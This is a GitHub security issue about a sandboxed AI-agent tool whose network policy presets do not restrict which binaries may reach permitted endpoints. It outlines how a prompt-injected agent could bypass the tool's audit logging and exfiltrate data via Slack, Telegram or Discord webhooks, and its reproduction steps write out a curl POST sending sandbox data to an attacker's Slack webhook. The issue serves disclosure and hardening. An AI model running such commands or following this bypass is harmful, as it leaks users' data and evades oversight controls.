Skip to content

[Security] Network policy presets missing binaries restriction — any process can reach allowed endpoints #272

Closed

Description

@kakuteki

Description

Every policy preset in nemoclaw-blueprint/policies/presets/ lacks a binaries: field. When a preset is applied, any binary inside the sandbox (curl, python3, node, etc.) can directly communicate with the allowed endpoints — not just openclaw.

The base policy in openclaw-sandbox.yaml also has this issue on the telegram entry (line 157-167), which is always active regardless of preset configuration.

Impact

If an agent executes unintended code (e.g. via prompt injection), that code can use curl or python3 to directly POST data to any endpoint the preset allows — completely bypassing openclaw's tool control and audit logging.

The attacker does not need any credentials from the victim. They supply their own API tokens (e.g. their own Telegram bot token, Slack webhook URL, Discord webhook URL) and use the already-permitted network path to exfiltrate data.

Affected presets and base policy entries:

Entry POST allowed binaries restricted In base policy
telegram (base) Yes No Yes (always active)
slack.yaml Yes (hooks.slack.com) No No
discord.yaml Yes No No
outlook.yaml Yes (graph.microsoft.com) No No
huggingface.yaml Yes No No
docker.yaml Yes (registry-1.docker.io) No No
jira.yaml Yes (*.atlassian.net) No No
telegram.yaml Yes No No
npm.yaml GET only No No
pypi.yaml GET only No No

For comparison, other entries in the base policy already have proper binaries restrictions:

  • claude_code: /usr/local/bin/claude only
  • nvidia: claude + openclaw only
  • clawhub, openclaw_api, openclaw_docs: openclaw only

Steps to reproduce

  1. Apply the slack preset: nemoclaw my-assistant policy-add → select slack
  2. From inside the sandbox, run:
    curl -X POST https://hooks.slack.com/services/T.../B.../xxx \
      -d '{"text":"data from sandbox"}'
  3. The message arrives in the attacker's Slack channel

Same pattern works for Telegram (no preset needed — always in base policy), Discord, etc.

Suggested fix

Add binaries: to every preset and to the base policy telegram entry, restricting access to openclaw only:

binaries:
  - { path: /usr/local/bin/openclaw }

Additionally, consider moving the telegram entry out of the base policy and into the preset (opt-in only), matching how all other messaging services are handled.

Activity

  1. added a commit that references this issue on Mar 18, 2026
    6153a77
  2. added a commit that references this issue on Mar 18, 2026
    f24568b
  3. added a commit that references this issue on Mar 18, 2026
    517d87f
  4. added
    integration: telegram
    integration: discord
    and removed on Mar 18, 2026
  5. north-echo commented on Mar 20, 2026

    @north-echo

    I was looking at this issue and noticed there are several open PRs in the area. Thought it might be helpful to map them out:

    PR Author Scope Tests?
    #273 @kakuteki All 9 presets + base telegram No
    #317 @pjt222 All 9 presets + base telegram + node in 5 base entries Yes (5 tests)
    #388 @imperator-clawdius Telegram only (switches to access: full) No
    #393 @pjt222 Node in 5 base entries only (subsumed by #317) No
    #356 @ericksoa npm + pypi only (switches to access: full) Yes
    #418 @alphadl npm + pypi only (keeps tls: terminate) Yes

    From what I can tell, #317 has the broadest coverage: all presets, base telegram, the node binary addition, and tests. There may be a few small gaps (yarn in the npm preset, /usr/local/bin/pip for pypi) but it seems like a solid foundation to build on.

    #388 also raises an interesting question about whether tls: terminate + protocol: rest causes query-string stripping for Telegram API calls, which might be worth considering separately.

    Happy to help with reviews or testing if that's useful. Just wanted to surface the overlap in case consolidating makes things easier for maintainers.

  6. added a commit that references this issue on Mar 22, 2026
    c3f2e55
  7. added a commit that references this issue on Mar 22, 2026
    7778759
  8. added a commit that references this issue on Mar 23, 2026
    d3cd6df
  9. cortexj commented on Mar 24, 2026

    @cortexj

    This is also the root cause of the 403 failures reported in #481. Cross-platform verification and a working workaround are in my comment there.

  10. added a commit that references this issue on Mar 24, 2026
    de2554f
  11. added a commit that references this issue on Mar 24, 2026
    e9e1b95
  12. added a commit that references this issue on Mar 25, 2026
    b1c895d
  13. added a commit that references this issue on Apr 30, 2026
    1131323
  14. added
    area: policy
    area: security
    integration: slack
    on Nov 17, 2026
  15. added theissue type on Nov 17, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: policyarea: securityintegration: discordintegration: slackintegration: telegram

    Type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions